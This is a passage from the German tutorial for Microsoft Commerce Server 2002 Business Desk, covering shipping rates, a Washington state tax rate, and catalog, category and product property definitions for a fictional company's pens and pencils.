Microsoft Commerce Server 2002 bietet eine umfassende Toolsammlung, mit deren Hilfe Sie E-Commerce-Anwendungen für das Web erstellen können. Das Business-To-Business-Lernprogramm bietet schrittweise Anleitungen für den Einsatz von Business Desk in Commerce Server 2002 bei der Verwaltung Ihrer E-Commerce-Website.

Dieser Abschnitt beinhaltet folgende Themen:

  • Business-To-Business-Szenario
  • Vorbereiten auf das Lernprogramm
  • Kurs 1: Hinzufügen einer Versandart und eines Steuersatzes
  • Kurs 2: Erstellen der SupplierAD-Kataloge
  • Kurs 3: Hinzufügen von Produkten zu Katalogen
  • Kurs 4: Ausführen von organisatorischen und Sicherheitstasks


Business-To-Business-Szenario

Sie sind der Business Desk-Manager des Unternehmens Northwind Traders. Sie möchten Ihren Mitarbeitern ermöglichen, über die Commerce Server-Website Ihres Unternehmens Artikel aus den firmeneigenen Katalogen zu kaufen. Darüber hinaus sollen Ihre Business Desk-Manager in der Lage sein, die auf dem Commerce Server gespeicherten Kataloge zu aktualisieren. Im Business-To-Business-Lernprogramm werden die folgenden Verfahren beschrieben:

  • Erstellen eines separaten Katalogs für jede Produktgruppe innerhalb des Unternehmens.
  • Veröffentlichen der Kataloge in Ihrer Website.
  • Erteilen eingeschränkter Zugriffsberechtigungen für Business Desk-Module und -Tasks, damit die Business Desk-Manager der einzelnen Produktgruppen nur die Kataloge ihres Verantwortungsbereichs aktualisieren können.

Das vorliegende Lernprogramm besteht aus vier Kursen, die die in Commerce Server integrierte SupplierAD-Lösungssite verwenden. Bevor Sie mit Kurs 1: Hinzufügen einer Versandart und eines Steuersatzes beginnen, muss der Systemadministrator das Lernprogramm für Sie vorbereiten. Informationen zur Verwendung dieses Lernprogramms sowie Hinweise zu den Voraussetzungen kann der Systemadministrator dem Thema Vorbereiten auf das Lernprogramm entnehmen.

Nachdem der Systemadministrator das Lernprogramm für Sie vorbereitet hat, fragen Sie ihn nach der Adresse der SupplierAD-Lösungssite sowie nach dem zu verwendenden Benutzernamen und Kennwort für die Anmeldung beim Commerce Server-Computer. Fahren Sie dann mit Kurs 1: Hinzufügen einer Versandart und eines Steuersatzes fort.


Vorbereiten auf das Lernprogramm

Der Systemadministrator muss die folgenden Tasks ausführen:

  • Überprüfen, ob das System die für die Ausführung des Lernprogramms erforderlichen Mindestanforderungen erfüllt.
  • Überprüfen der speziellen Konfigurationseinstellungen am Domänencontroller.
  • Installieren der SupplierAD-Lösungssite.

Genaue Anweisungen finden Sie unter Installation auf einer Konfiguration mit zwei Computern ohne Cluster.

Die Commerce Server SupplierAD-Lösungssite steht unter http://go.microsoft.com/fwlink/?linkid=6491 zur Verfügung.

Nachdem der Systemadministrator diese Schritte ausgeführt hat, können Sie mit "Kurs 1: Hinzufügen einer Versandart und eines Steuersatzes" fortfahren.


Kurs 1: Hinzufügen einer Versandart und eines Steuersatzes

Voraussichtliche Dauer: 15 Minuten

Szenario: Bevor Sie mit dem Erstellen der Kataloge beginnen, fügen Sie zunächst eine Versandart und einen Steuersatz hinzu. Anschließend veröffentlichen Sie die Steuersätze und Versandarten in Ihrer SupplierAD-Site.

Im Folgenden sind die Lektionen dieses Kurses aufgelistet. Die Lektionen bauen jeweils aufeinander auf, sodass sie in der vorgegebenen Reihenfolge durchgearbeitet werden sollten:

  • Lektion 1: Hinzufügen einer Versandart
  • Lektion 2: Hinzufügen eines Steuersatzes
  • Lektion 3: Veröffentlichen von Steuersätzen und Versandarten


Lektion 1: Hinzufügen einer Versandart

Da Ihr Unternehmen Produkte an Ihre Mitarbeiter senden soll, müssen Sie Versandarten und -kosten festlegen. In dieser Lektion fügen Sie Versandkosten hinzu, die anhand der Zwischensumme von Einzelbestellungen berechnet werden.

So fügen Sie eine Versandart hinzu

  1. Melden Sie sich beim Commerce Server-Computer mit dem Benutzernamen und dem Kennwort an, das der Systemadministrator für Sie erstellt hat. Wenn Sie den Benutzernamen bzw. das Kennwort nicht kennen, wenden Sie sich an Ihren Systemadministrator.
  2. Öffnen Sie entweder über das Menü Start oder vom Desktop aus Business Desk – SupplierAD.
  3. Erweitern Sie das Bestellmodul, und klicken Sie auf Versandarten.
  4. Klicken Sie im Bildschirm Versandarten auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Gebühr nach Zwischensumme aus.

    Der Bildschirm Nach Zwischensumme berechnen – Neu wird angezeigt. In diesem Bildschirm erstellen Sie eine Versandart, die anhand der Zwischensumme von Einzelbestellungen berechnet wird.

  5. Führen Sie im Bildschirm Nach Zwischensumme berechnen – Neu im Bereich Versandarteigenschaften folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Name | Geben Sie Blue Yonder Airlines ein.
    Beschreibung | Geben Sie Wir versenden den Artikel für Sie ein.
    Aktiviert | Stellen Sie sicher, dass das Kontrollkästchen Versandart aktiviert aktiviert ist.
  6. Klicken Sie im Bereich Tarife auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Preis bis zu | Geben Sie 10 ein.
    Versandkosten | Geben Sie 5 ein.

    Sie haben Versandkosten erstellt, bei denen für Einzelbestellungen mit einem Gesamtwert von bis zu 10 € Versandkosten in Höhe von 5 € berechnet werden.

  7. Klicken Sie auf Annehmen, und klicken Sie anschließend auf Neu, um weitere Versandkosten hinzuzufügen.
  8. Führen Sie im Bereich Tarife folgende Schritte aus:
    Funktion | Aktion
    Preis bis zu | Geben Sie 20 ein.
    Versandkosten | Geben Sie 10 ein.

    Sie haben Versandkosten erstellt, bei denen für Einzelbestellungen mit einem Gesamtwert von bis zu 20 € Versandkosten in Höhe von 10 € berechnet werden.

  9. Klicken Sie auf Annehmen.
  10. Führen Sie im Bereich Tarife folgende Schritte aus:
    Funktion | Aktion
    Preis bis zu | Doppelklicken Sie auf über 20.
    Versandkosten | Geben Sie 15 ein.

    Sie haben Versandkosten erstellt, bei denen für Einzelbestellungen mit einem Gesamtwert von mehr als 20 € Versandkosten in Höhe von 15 € berechnet werden.

  11. Klicken Sie auf Annehmen, um die Versandkosten für über 20 hinzuzufügen.

    Sie haben Versandkosten erstellt, bei denen für Einzelbestellungen mit einem Gesamtwert von mehr als 20 € Versandkosten in Höhe von 15 € berechnet werden. In diesem Szenario sind 20 € der Höchstbetrag, der für den Versand von Einzelbestellungen erhoben wird.

  12. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Versandkosten zu speichern und zum Bildschirm Versandarten zurückzukehren.

Die Versandkosten werden gespeichert und auf Käufe in der SupplierAD-Website angewendet. Fahren Sie mit Lektion 2: Hinzufügen eines Steuersatzes zur Supplier-Site fort.


Lektion 2: Hinzufügen eines Steuersatzes

Da es sich bei den Artikeln, die über die SupplierAD-Site gekauft werden, nicht um Artikel für den Weiterverkauf handelt, ist dafür der am Empfangsort geltende Steuersatz anzusetzen. In dieser Lektion werden Sie der SupplierAD-Site einen Steuersatz hinzufügen, der für den US-Bundesstaat Washington gilt. Im Rahmen dieses Szenarios werden Sie einen Steuersatz für den Bundesstaat Washington definieren.

  1. Klicken Sie im Bestellmodul von Business Desk auf Steuersätze.
  2. Klicken Sie im Bildschirm Steuer auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Land/Region | Wählen Sie in der Dropdownliste Vereinigte Staaten von Amerika aus.
    Bundesland/Kanton | Wählen Sie in der Dropdownliste Washington aus.
    Steuersatz (%) | Geben Sie 10 ein.
  3. Klicken Sie auf Annehmen.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Steuersatz zu speichern und zum Bildschirm Commerce Server: Willkommen bei Business Desk zurückzukehren.

Der Steuersatz in Höhe von 10 % wird gespeichert und auf alle Käufe angewendet, die an eine Adresse im US-Bundesstaat Washington versendet werden. Fahren Sie mit Lektion 3: Veröffentlichen von Steuersätzen und Versandarten fort.


Lektion 3: Veröffentlichen von Steuersätzen und Versandarten

Wenn auf die SupplierAD-Site zugegriffen wurde, bevor Sie die Versandart und den Steuersatz in Lektionen 1 und 2 dieses Kurses erstellt haben, müssen Sie die Versandart und den Steuersatz in der SupplierAD-Site veröffentlichen. So ist es z. B. möglich, dass der Systemadministrator beim Einrichten dieses Lernprogramms auf die SupplierAD-Site zugegriffen hat. Um zu überprüfen, ob Sie die Steuersätze und Versandcodes in der Site veröffentlichen müssen, fahren Sie mit Schritt 1: Anzeigen von Bestellcodes fort. In diesem Schritt werden Sie mithilfe des Moduls "Bestellcodes veröffentlichen" den Status der Produktionscaches anzeigen.

  • Schritt 1: Anzeigen von Bestellcodes
  • Schritt 2: Veröffentlichen der Bestellcodes


Schritt 1: Anzeigen von Bestellcodes

  1. Erweitern Sie das Bestellmodul von Business Desk, und klicken Sie auf Bestellcodes veröffentlichen.

    Der Bildschirm Bestellcodes veröffentlichen wird angezeigt.

  2. Wenn die Liste Produktionsartikel keine Einträge enthält, müssen Sie Ihre Bestellcodes nicht veröffentlichen und können mit Kurs 2: Erstellen der SupplierAD-Kataloge fortfahren. Wenn die Liste Einträge enthält, fahren Sie mit Schritt 2: Veröffentlichen der Bestellcodes fort, um die Versandart und den Steuersatz in der SupplierAD-Site zu veröffentlichen.


Schritt 2: Veröffentlichen der Bestellcodes

  1. Wählen Sie im Bildschirm Bestellcodes veröffentlichen alle Einträge in der Liste Produktionsartikel aus.
  2. Klicken Sie auf der Symbolleiste auf Veröffentlichen.
  3. Ihre Bestellcodes, die die zuvor in diesem Kurs erstellte Versandart und den Steuersatz enthalten, werden in der SupplierAD-Site veröffentlicht. Fahren Sie mit Kurs 2: Erstellen der SupplierAD-Kataloge fort.


Kurs 2: Erstellen der SupplierAD-Kataloge

In diesem Kurs konfigurieren Sie Katalogdefinitionen für die Produkte, die Sie später Ihren Katalogen hinzufügen werden. Anschließend erstellen Sie einen Basiskatalog für beide Produktgruppen und fügen diesen Katalogen dann Produkte hinzu. Am Schluss erstellen Sie einen Katalogsatz für jede Produktgruppe sowie einen virtuellen Katalog, in dem beide Basiskataloge enthalten sind.

Im Folgenden sind die Lektionen dieses Kurses aufgelistet. Die Lektionen bauen jeweils aufeinander auf, sodass sie in der vorgegebenen Reihenfolge durchgearbeitet werden sollten:

  • Lektion 1: Erstellen einer Katalogdefinition
  • Lektion 2: Erstellen von Basiskatalogen für Produktgruppen
  • Lektion 3: Erstellen eines virtuellen Katalogs für die SupplierAD-Site
  • Lektion 4: Erstellen von Kategorien für die SupplierAD-Site
  • Lektion 5: Erstellen von Katalogsätzen


Lektion 1: Erstellen einer Katalogdefinition

Szenario: Sie möchten einen Basiskatalog für jede Ihrer Produktgruppen erstellen, sodass Sie die entsprechenden Produkte in Ihrer Site veröffentlichen können. Beim Erstellen von Katalogen muss zunächst eine Katalogdefinition erstellt werden. Eine Katalogdefinition besteht aus mindestens einer Kategorie und einer Produktdefinition. Kategorie- und Produktdefinitionen bestehen aus Eigenschaftsdefinitionen.

In Schritt 1 dieser Lektion erstellen Sie Kategoriedefinitionen mit den Namen Stifte und Bleistifte. Mithilfe der Kategoriedefinitionen organisieren Sie die Produkte in Ihrer Website. In den Schritten 2 und 3 dieser Lektion erstellen Sie Produkte und Eigenschaftsdefinitionen, die Sie in Kurs 3 für das Hinzufügen von Produkten zu Ihren Katalogen verwenden werden.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Erstellen von Kategoriedefinitionen
  • Schritt 2: Erstellen der Produktdefinition "Bleistift"
  • Schritt 3: Erstellen der Produktdefinition "Stift"


Schritt 1: Erstellen von Kategoriedefinitionen

In diesem Schritt erstellen Sie Kategoriedefinitionen, mit deren Hilfe Sie die Produkte in Ihrer Website organisieren werden. Sie erstellen dabei die beiden Kategorien Stifte und Bleistifte. Später, in Kurs 3, werden Sie Produkte zu diesen Kategorien hinzufügen.

So erstellen Sie die Kategoriedefinition "Stifte"

  1. Erweitern Sie in Business Desk das Modul "Kataloge", und klicken Sie dann auf Katalogdefinitions-Designer.

    Der Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen wird angezeigt.

  2. Klicken Sie auf Neu.
  3. Geben Sie im Bildschirm Kategoriedefinition: Neu im Bereich Kategoriedefinitionseigenschaften im Textfeld Name die Bezeichnung Stifte ein.
  4. Wählen Sie im Bereich Kategorieeigenschaften in der Liste Verfügbare Eigenschaften die Option Beschreibung, und klicken Sie auf Hinzufügen.

    Die Eigenschaft Beschreibung wird in die Liste Zugewiesene Eigenschaften verschoben.

  5. Klicken Sie auf der Symbolleiste auf Speichern und neu, um die Kategoriedefinition zu speichern und eine neue Kategoriedefinition zu erstellen.

So erstellen Sie die Kategoriedefinition "Bleistifte"

  1. Geben Sie im Bildschirm Kategoriedefinition: Neu im Bereich Kategoriedefinitionseigenschaften im Textfeld Name die Bezeichnung Bleistifte ein.
  2. Wählen Sie im Bereich Kategorieeigenschaften in der Liste Verfügbare Eigenschaften die Option Beschreibung, und klicken Sie auf Hinzufügen.

    Die Eigenschaft Beschreibung wird in die Liste Zugewiesene Eigenschaften verschoben.

  3. Klicken Sie auf der Symbolleiste auf Speichern und neu, um die Kategoriedefinition zu speichern und eine neue Kategoriedefinition zu erstellen.

So erstellen Sie die Kategoriedefinition "Drucker"

  1. Geben Sie im Bildschirm Kategoriedefinition: Neu im Bereich Kategoriedefinitionseigenschaften im Textfeld Name die Bezeichnung Drucker ein.
  2. Wählen Sie im Bereich Kategorieeigenschaften in der Liste Verfügbare Eigenschaften die Option Beschreibung, und klicken Sie auf Hinzufügen.

    Die Eigenschaft Beschreibung wird in die Liste Zugewiesene Eigenschaften verschoben.

  3. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Kategoriedefinition Drucker zu speichern und zum Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen zurückzukehren.

    Der Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen wird angezeigt. Die drei neu erstellten Kategorien Stifte, Bleistifte und Drucker werden im Listenfeld Name in diesem Bildschirm angezeigt.

Hinweis
  • Definitionsnamen müssen für alle Kategorie- und Produktdefinitionen eindeutig sein. In diesem Schritt haben Sie die Pluralform der Begriffe "Stift" und "Bleistift" verwendet ("Stifte" und "Bleistifte"), da Sie in Schritt 2: Erstellen der Produktdefinition "Bleistift" und Schritt 3: Erstellen der Produktdefinition "Stift" die Namen "Bleistift" und "Stift" als Produktdefinition verwenden werden.

Damit ist die Erstellung der Kategoriedefinitionen Stifte und Bleistifte abgeschlossen. Später, in Kurs 3, werden Sie Ihren Katalogen unter Zuhilfenahme der in diesem Schritt erstellten Kategoriedefinitionen Produkte hinzufügen. Fahren Sie mit Schritt 2: Erstellen der Produktdefinition "Bleistift" fort.


Schritt 2: Erstellen der Produktdefinition "Bleistift"

Mit Produktdefinitionen können einzelne Produkte, die Sie Ihrem Katalog hinzufügen möchten, detailliert beschrieben werden. Produktdefinitionen enthalten Eigenschaften, mit deren Hilfe ein Produkt definiert oder beschrieben wird. So können die meisten Produktdefinitionen beispielsweise die Eigenschaften Hersteller und SKU (Stock Keeping Unit) enthalten.

Sie können sich eine Produktdefinition als eine Art Vorlage vorstellen. Wenn Sie einem Katalog Produkte hinzufügen, werden den Eigenschaften, die Sie der Produktdefinition zugewiesen haben, Werte zugewiesen. Diese Eigenschaftswerte dienen zur Beschreibung und darüber hinaus zur eindeutigen Unterscheidung der verschiedenen Produktvarianten.

In diesem Schritt erstellen Sie eine Produktdefinition für das Produkt "Bleistift". Anschließend weisen Sie Produktvarianteneigenschaften hinzu und erstellen neue Eigenschaftsdefinitionen für Ihre Produktdefinition. Die Produktdefinition "Bleistift" werden Sie später, in Kurs 3, beim Hinzufügen von Bleistiftprodukten zum Katalog wiederverwenden.

So erstellen Sie die Produktdefinition "Bleistift"

  1. Erweitern Sie in Business Desk das Modul "Kataloge", und klicken Sie dann auf Katalogdefinitions-Designer.

    Der Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen wird angezeigt.

  2. Klicken Sie auf der Symbolleiste auf Anzeigen, und wählen Sie dann in der Dropdownliste die Option Produktdefinitionen aus.

    Der Bildschirm Katalogdefinitions-Designer: Produktdefinitionen wird angezeigt. Es sind bereits einige vordefinierte Produktdefinitionen verfügbar. Die Produktdefinition Drucker wird in einem späteren Kurs dieses Lernprogramms verwendet.

  3. Klicken Sie auf Neu.
  4. Geben Sie im Bildschirm Produktdefinition: Neu im Bereich Produktdefinitionseigenschaften im Textfeld Name die Bezeichnung Bleistift ein.

Sie haben nun der neuen Produktdefinition den Namen Bleistift zugewiesen. Als Nächstes werden Sie der Produktdefinition Bleistift Produktvarianteneigenschaften zuweisen.

So weisen Sie Produktvarianteneigenschaften zu

  • Wählen Sie im Bereich Produktvarianteneigenschaften in der Liste Verfügbare Eigenschaften die Option Hersteller aus, halten Sie die STRG-Taste gedrückt, klicken Sie auf SKU, lassen Sie dann die STRG-Taste wieder los, und klicken Sie anschließend auf Hinzufügen.

    Die Eigenschaften Hersteller und SKU werden im Bereich Produktvarianteneigenschaften in der Liste Zugewiesene Eigenschaften angezeigt.

Sie haben nun der Produktdefinition Bleistift die Produktvarianteneigenschaften Hersteller und SKU zugewiesen. Als Nächstes werden Sie eine neue Eigenschaftsdefinition für das Produkt "Bleistift" erstellen und definieren.

So erstellen Sie die Eigenschaftsdefinition "Minenfarbe"

  1. Klicken Sie im Bereich Produktvarianteneigenschaften auf Neu.
  2. Wählen Sie im Dialogfeld Neue Eigenschaftsdefinition im Listenfeld Typ die Option Multiplechoice, und klicken Sie dann auf Weiter.
  3. Führen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Minenfarbe ein.
    In der Site anzeigen | Aktivieren Sie das Kontrollkästchen Ja.
    Standardwert Klicken Sie auf Auslassungsschaltfläche.

    Das Dialogfeld Multiplechoicewerte wird angezeigt.
  4. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Schwarz ein, und klicken Sie dann auf Hinzufügen.
  5. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Blau ein, und klicken Sie dann auf Hinzufügen.
  6. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Rot ein, und klicken Sie dann auf Hinzufügen.

    Die Werte Schwarz, Blau und Rot werden in der Liste Werte des Dialogfelds Multiplechoicewerte angezeigt.

  7. Klicken Sie auf OK, um die Multiplechoicewerte zu speichern und zum Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) zurückzukehren.
  8. Wählen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften aus der Dropdownliste Standardwert den Eintrag Schwarz aus.
  9. Klicken Sie im Kontrollkästchen In Produktliste anzeigen auf Ja.
  10. Klicken Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Namen anzeigen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Angezeigter Name | Geben Sie Farbe der Mine ein.
  11. Klicken Sie auf Annehmen.
  12. Klicken Sie auf der Symbolleiste auf Speichern und neu, um die Eigenschaftsdefinition zu speichern und eine neue Eigenschaftsdefinition zu erstellen.

    Das Dialogfeld Neue Eigenschaftsdefinition wird angezeigt.

Sie haben nun die Eigenschaftsdefinition Minenfarbe erstellt, mit deren Hilfe Sie die Minenfarbe des Produkts Bleistift beschreiben können. Als Nächstes werden Sie eine weitere Eigenschaftsdefinition mit dem Namen Stiftfarbe erstellen.

So erstellen Sie die Eigenschaftsdefinition "Stiftfarbe"

  1. Wählen Sie im Dialogfeld Neue Eigenschaftsdefinition im Listenfeld Typ die Option Multiplechoice, und klicken Sie dann auf Weiter.
  2. Führen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Stiftfarbe ein.
    In der Site anzeigen | Aktivieren Sie das Kontrollkästchen Ja.
    Standardwert Klicken Sie auf Auslassungsschaltfläche.

    Das Dialogfeld Multiplechoicewerte wird angezeigt.
  3. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Schwarz ein, und klicken Sie dann auf Hinzufügen.
  4. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Blau ein, und klicken Sie dann auf Hinzufügen.
  5. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Rot ein, und klicken Sie dann auf Hinzufügen.
  6. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Gelb ein, und klicken Sie dann auf Hinzufügen.

    Die Werte Schwarz, Blau, Rot und Gelb werden in der Liste Werte des Dialogfelds Multiplechoicewerte angezeigt.

  7. Klicken Sie auf OK, um die Multiplechoicewerte zu speichern und zum Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) zurückzukehren.
  8. Wählen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften aus der Dropdownliste Standardwert den Eintrag Gelb aus.
  9. Klicken Sie im Kontrollkästchen In Produktliste anzeigen auf Ja.
  10. Klicken Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Namen anzeigen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Angezeigter Name | Geben Sie Farbe des Stifts ein.
  11. Klicken Sie auf Annehmen.
  12. Klicken Sie auf der Symbolleiste auf Speichern und neu, um die Eigenschaftsdefinition zu speichern und eine neue Eigenschaftsdefinition zu erstellen.

    Das Dialogfeld Neue Eigenschaftsdefinition wird angezeigt.

Sie haben nun die Eigenschaftsdefinition Stiftfarbe erstellt, mit deren Hilfe Sie die Farbe des Produkts Bleistift beschreiben können. Als Nächstes werden Sie eine weitere Eigenschaftsdefinition mit dem Namen Minenstärke erstellen.

So erstellen Sie die Eigenschaftsdefinition "Minenstärke"

  1. Wählen Sie im Dialogfeld Neue Eigenschaftsdefinition im Listenfeld Typ die Option Multiplechoice, und klicken Sie dann auf Weiter.
  2. Führen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Minenstärke ein.
    In der Site anzeigen | Aktivieren Sie das Kontrollkästchen Ja.
    Standardwert Klicken Sie auf Auslassungsschaltfläche.

    Das Dialogfeld Multiplechoicewerte wird angezeigt.
  3. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Nr. 1 ein, und klicken Sie dann auf Hinzufügen.
  4. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Nr. 2 ein, und klicken Sie dann auf Hinzufügen.

    Die Werte Nr. 1 und Nr. 2 werden in der Liste Werte des Dialogfelds Multiplechoicewerte angezeigt.

  5. Klicken Sie auf OK, um die Multiplechoicewerte zu speichern und zum Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) zurückzukehren.
  6. Wählen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften aus der Dropdownliste Standardwert den Eintrag Nr. 2 aus.
  7. Klicken Sie im Kontrollkästchen In Produktliste anzeigen auf Ja.
  8. Klicken Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Namen anzeigen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Angezeigter Name | Geben Sie Stärke der Mine ein.
  9. Klicken Sie auf Annehmen.
  10. Klicken Sie auf Speichern und zurück, um diese Eigenschaftsdefinition zu speichern und zum Bildschirm Produktdefinition: Neu zurückzukehren.

    Sie haben nun die Eigenschaftsdefinition Minenstärke erstellt, mit deren Hilfe Sie die Minenstärke des Produkts Bleistift beschreiben können.

    Der Bildschirm Produktdefinition: Neu wird angezeigt. Die Eigenschaften Hersteller, SKU, Minenfarbe, Stiftfarbe und Minenstärke werden im Bereich Produktvarianteneigenschaften in der Liste Zugewiesene Eigenschaften angezeigt. Da die Eigenschafts- und Produktdefinitionen auf Siteebene erstellt werden, können Sie mithilfe einer einmal erstellten Eigenschaftsdefinition ein beliebiges Produkt für jeden Katalog in Ihrer Site definieren.

  11. Klicken Sie auf Speichern und zurück, um die Produktdefinition Bleistift zu speichern und zum Bildschirm Katalogdefinitions-Designer: Produktdefinitionen zurückzukehren.

    Sie haben nun die Produktdefinition Bleistift erstellt. Fahren Sie mit Schritt 3: Erstellen der Produktdefinition "Stift" fort, in dem Sie die in diesem Schritt erstellte Eigenschaftsdefinition Stiftfarbe für die Erstellung der Produktdefinition Stift erneut verwenden werden.


Schritt 3: Erstellen der Produktdefinition "Stift"

In diesem Schritt erstellen Sie eine Produktdefinition für das Produkt "Stift". Anschließend weisen Sie Produktvarianteneigenschaften hinzu und erstellen neue Eigenschaftsdefinitionen für Ihre Produktdefinition. Sie werden die Produktdefinition "Stift" später, in Kurs 3, verwenden, wenn Sie Ihrem Katalog Produkte der Kategorie "Stifte" hinzufügen.

  1. Klicken Sie im Modul Kataloge auf Katalogdefinitions-Designer.

    Der Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen wird angezeigt.

  2. Klicken Sie auf der Symbolleiste auf Anzeigen, und wählen Sie dann in der Dropdownliste die Option Produktdefinitionen aus.
  3. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Produktdefinitionen auf Neu.
  4. Geben Sie im Bildschirm Produktdefinition: Neu im Bereich Produktdefinitionseigenschaften im Textfeld Name die Bezeichnung Stift ein.

Sie haben nun der neuen Produktdefinition den Namen Stift zugewiesen. Als Nächstes werden Sie der Produktdefinition Stift Produktvarianteneigenschaften zuweisen.

So weisen Sie Produktvarianteneigenschaften zu

  1. Wählen Sie im Bereich Produktvarianteneigenschaften in der Liste Verfügbare Eigenschaften die Option Stiftfarbe aus, halten Sie die STRG-Taste gedrückt, klicken Sie auf Hersteller und anschließend auf SKU, lassen Sie die STRG-Taste wieder los, und klicken Sie dann auf Hinzufügen.

    Die Eigenschaften Stiftfarbe, Hersteller und SKU werden im Bereich Produktvarianteneigenschaften in der Liste Zugewiesene Eigenschaften angezeigt. In "Schritt 2: Erstellen der Produktdefinition 'Bleistift'" haben Sie die Eigenschaftsdefinition Stiftfarbe erstellt.

Sie haben nun der Produktdefinition Stift die Produktvarianteneigenschaften Stiftfarbe, Hersteller und SKU zugewiesen. Als Nächstes werden Sie eine neue Eigenschaftsdefinition für das Produkt "Stift" erstellen und definieren.

So erstellen Sie die Eigenschaftsdefinition "Tintenfarbe"

  1. Klicken Sie im Bereich Produktvarianteneigenschaften auf Neu.
  2. Wählen Sie im Dialogfeld Neue Eigenschaftsdefinition in der Liste Typ die Option Multiplechoice, und klicken Sie dann auf Weiter.
  3. Führen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Tintenfarbe ein.
    In der Site anzeigen | Aktivieren Sie das Kontrollkästchen Ja.
    Standardwert Klicken Sie auf Auslassungsschaltfläche.

    Das Dialogfeld Multiplechoicewerte wird angezeigt.
  4. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Schwarz ein, und klicken Sie dann auf Hinzufügen.
  5. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Blau ein, und klicken Sie dann auf Hinzufügen.
  6. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Grün ein, und klicken Sie dann auf Hinzufügen.
  7. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Rot ein, und klicken Sie dann auf Hinzufügen.
  8. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Silber ein, und klicken Sie dann auf Hinzufügen.

    Die Werte Schwarz, Blau, Grün, Rot und Silber werden in der Liste Werte des Dialogfelds Multiplechoicewerte angezeigt.

  9. Klicken Sie auf OK, um die Multiplechoicewerte zu speichern und zum Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) zurückzukehren.
  10. Wählen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften aus der Dropdownliste Standardwert den Eintrag Blau aus.
  11. Klicken Sie im Kontrollkästchen In Produktliste anzeigen auf Ja.
  12. Klicken Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Namen anzeigen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Angezeigter Name | Geben Sie Farbe der Tinte ein.
  13. Klicken Sie auf Annehmen.
  14. Klicken Sie auf Speichern und neu, um die Eigenschaftsdefinition Tintenfarbe zu speichern und eine neue Eigenschaftsdefinition zu erstellen.

    Das Dialogfeld Neue Eigenschaftsdefinition wird angezeigt.

Sie haben nun die Eigenschaftsdefinition Tintenfarbe erstellt, mit deren Hilfe Sie die Tintenfarbe des Produkts Stift beschreiben können.

So erstellen Sie die Eigenschaftsdefinition "Stiftart"

  1. Wählen Sie im Dialogfeld Neue Eigenschaftsdefinition im Listenfeld Typ die Option Multiplechoice, und klicken Sie auf Weiter.
  2. Führen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften folgende Schritte aus:
